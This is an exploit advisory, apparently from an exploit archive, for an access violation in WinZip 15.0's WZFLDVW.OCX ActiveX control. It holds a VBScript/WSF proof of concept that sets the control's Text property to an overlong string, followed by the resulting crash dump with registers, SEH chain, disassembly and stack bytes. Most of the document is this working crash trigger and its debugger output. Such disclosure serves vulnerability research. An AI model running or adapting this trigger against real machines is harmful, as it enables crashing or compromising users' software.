130 lines
No EOL
3.6 KiB
Text
130 lines
No EOL
3.6 KiB
Text
# Exploit Title: Winzip WZFLDVW.OCX text property access violation
|
|
# Author: fady mohamed osman
|
|
# Software Link : http://www.winzip.com/downwz.htm
|
|
# Version: 15.0 (Build 9334)
|
|
# Tested on: Win XP Sp2
|
|
# CVE : N/A
|
|
|
|
# Website : http://www.darkmasters.co.cc/
|
|
# Twitter : http://twitter.com/Fady_Osman
|
|
|
|
<?XML version='1.0' standalone='yes' ?>
|
|
<package><job id='DoneInVBS' debug='false' error='true'>
|
|
<object classid='clsid:4E3770F4-1937-4F05-B9A2-959BE7321909' id='target' />
|
|
<script language='vbscript'>
|
|
|
|
|
|
'Wscript.echo typename(target)
|
|
|
|
'for debugging/custom prolog
|
|
targetFile = "C:\Program Files\WinZip\WZFLDVW.OCX"
|
|
prototype = "Invoke_Unknown Text As String"
|
|
memberName = "Text"
|
|
progid = "FolderViewControl.TreeNode"
|
|
argCount = 1
|
|
|
|
arg1=String(1044, "A")
|
|
|
|
target.Text = arg1
|
|
|
|
</script></job></package>
|
|
|
|
Exception Code: ACCESS_VIOLATION
|
|
Disasm: 1643D05 PUSH DWORD PTR [ECX+20]
|
|
|
|
Seh Chain:
|
|
--------------------------------------------------
|
|
1 180B82F wzfldvw.ocx
|
|
2 180B8F0 wzfldvw.ocx
|
|
3 73351571 VBSCRIPT.dll
|
|
4 73350F38 VBSCRIPT.dll
|
|
5 73351DA5 VBSCRIPT.dll
|
|
6 7335119D VBSCRIPT.dll
|
|
7 7C8399F3 KERNEL32.dll
|
|
|
|
|
|
Called From Returns To
|
|
--------------------------------------------------
|
|
wzfldvw.1643D05 wzfldvw.16314E1
|
|
wzfldvw.16314E1 wzfldvw.1666F8C
|
|
wzfldvw.1666F8C wzfldvw.16434A0
|
|
wzfldvw.16434A0 VBSCRIPT.73313A78
|
|
VBSCRIPT.73313A78 VBSCRIPT.733139F6
|
|
VBSCRIPT.733139F6 VBSCRIPT.73304B01
|
|
VBSCRIPT.73304B01 VBSCRIPT.73306959
|
|
VBSCRIPT.73306959 VBSCRIPT.73301E55
|
|
VBSCRIPT.73301E55 VBSCRIPT.73303A76
|
|
VBSCRIPT.73303A76 VBSCRIPT.7330BE2A
|
|
VBSCRIPT.7330BE2A VBSCRIPT.7330BEB9
|
|
VBSCRIPT.7330BEB9 SCROBJ.5CE4915E
|
|
SCROBJ.5CE4915E SCROBJ.5CE4CF9C
|
|
SCROBJ.5CE4CF9C SCROBJ.5CE4D0E2
|
|
SCROBJ.5CE4D0E2 SCROBJ.5CE4B106
|
|
SCROBJ.5CE4B106 SCROBJ.5CE4B49F
|
|
SCROBJ.5CE4B49F 100BB36
|
|
100BB36 1005EFE
|
|
1005EFE 1005215
|
|
1005215 100492B
|
|
100492B 1004A89
|
|
1004A89 1003C7B
|
|
1003C7B KERNEL32.7C816D4F
|
|
|
|
|
|
Registers:
|
|
--------------------------------------------------
|
|
EIP 01643D05 -> 00000001
|
|
EAX 0013EB1C -> 00000001
|
|
EBX 00000000
|
|
ECX BAADF00D
|
|
EDX 01642B94 -> 18EBD88B
|
|
EDI 00000008
|
|
ESI 0013EB70 -> 01666F8C
|
|
EBP 0013EB44 -> 0013EB6C
|
|
ESP 0013EB10 -> 0000113F
|
|
|
|
|
|
Block Disassembly:
|
|
--------------------------------------------------
|
|
1643CF4 MOV EAX,[EBP+24]
|
|
1643CF7 MOV [EBP-4],EAX
|
|
1643CFA LEA EAX,[EBP-28]
|
|
1643CFD PUSH EAX
|
|
1643CFE PUSH 0
|
|
1643D00 PUSH 113F
|
|
1643D05 PUSH DWORD PTR [ECX+20] <--- CRASH
|
|
1643D08 CALL [182CA6C]
|
|
1643D0E LEAVE
|
|
1643D0F RETN 20
|
|
1643D12 MOV EDI,EDI
|
|
1643D14 PUSH EBP
|
|
1643D15 MOV EBP,ESP
|
|
1643D17 SUB ESP,3C
|
|
1643D1A MOV EAX,[EBP+8]
|
|
|
|
|
|
ArgDump:
|
|
--------------------------------------------------
|
|
EBP+8 BAADF00D
|
|
EBP+12 00000001
|
|
EBP+16 0019B05C -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
|
|
EBP+20 00000000
|
|
EBP+24 00000000
|
|
EBP+28 00000000
|
|
|
|
|
|
Stack Dump:
|
|
--------------------------------------------------
|
|
13EB10 3F 11 00 00 00 00 00 00 1C EB 13 00 01 00 00 00 [................]
|
|
13EB20 0D F0 AD BA 00 00 00 00 00 00 00 00 5C B0 19 00 [............\...]
|
|
13EB30 D0 EB 13 00 00 00 00 00 00 00 00 00 08 EC 13 00 [................]
|
|
13EB40 00 00 00 00 6C EB 13 00 E1 14 63 01 0D F0 AD BA [....l.....c.....]
|
|
13EB50 01 00 00 00 5C B0 19 00 00 00 00 00 00 00 00 00 [....\...........]
|
|
|
|
|
|
|
|
ApiLog
|
|
--------------------------------------------------
|
|
|
|
***** Installing Hooks *****
|
|
7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
|
|
7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll) |